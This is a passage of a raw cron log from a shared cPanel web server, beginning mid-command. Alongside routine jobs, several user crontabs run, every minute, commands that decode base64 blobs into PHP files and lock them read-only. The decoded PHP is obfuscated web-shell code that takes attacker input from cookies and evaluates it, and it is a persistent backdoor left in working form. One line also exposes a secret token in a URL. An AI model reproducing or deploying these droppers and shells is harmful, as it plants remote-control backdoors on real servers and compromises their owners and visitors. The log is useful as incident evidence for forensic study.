DFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 10:05:01 medusa CROND[13151]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 10:06:01 medusa CROND[2718]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 10:06:01 medusa CROND[2789]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 10:06:01 medusa CROND[2790]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Mar  1 10:06:01 medusa CROND[2791]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 10:06:01 medusa CROND[2792]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 10:06:01 medusa CROND[2794]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 10:06:01 medusa CROND[2800]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 10:06:01 medusa CROND[2801]: (cerramientosco) CMD (cd /home12/cerramientosco/app.cerramientosandco.com; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Mar  1 10:06:01 medusa CROND[2809]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Mar  1 10:06:01 medusa CROND[2812]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 10:06:01 medusa CROND[2813]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 10:06:01 medusa CROND[2814]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 10:06:01 medusa CROND[2815]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 10:06:01 medusa CROND[2816]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 10:06:01 medusa CROND[2819]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 10:07:01 medusa CROND[23447]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Mar  1 10:07:01 medusa CROND[23448]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 10:07:01 medusa CROND[23449]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 10:07:01 medusa CROND[23450]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 10:07:01 medusa CROND[23451]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 10:07:01 medusa CROND[23453]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 10:07:01 medusa CROND[23454]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 10:07:01 medusa CROND[23455]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 10:07:01 medusa CROND[23456]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 10:07:01 medusa CROND[23458]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 10:07:01 medusa CROND[23461]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 10:07:01 medusa CROND[23462]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 10:08:01 medusa CROND[13056]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 10:08:01 medusa CROND[13157]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 10:08:01 medusa CROND[13158]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 10:08:01 medusa CROND[13159]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
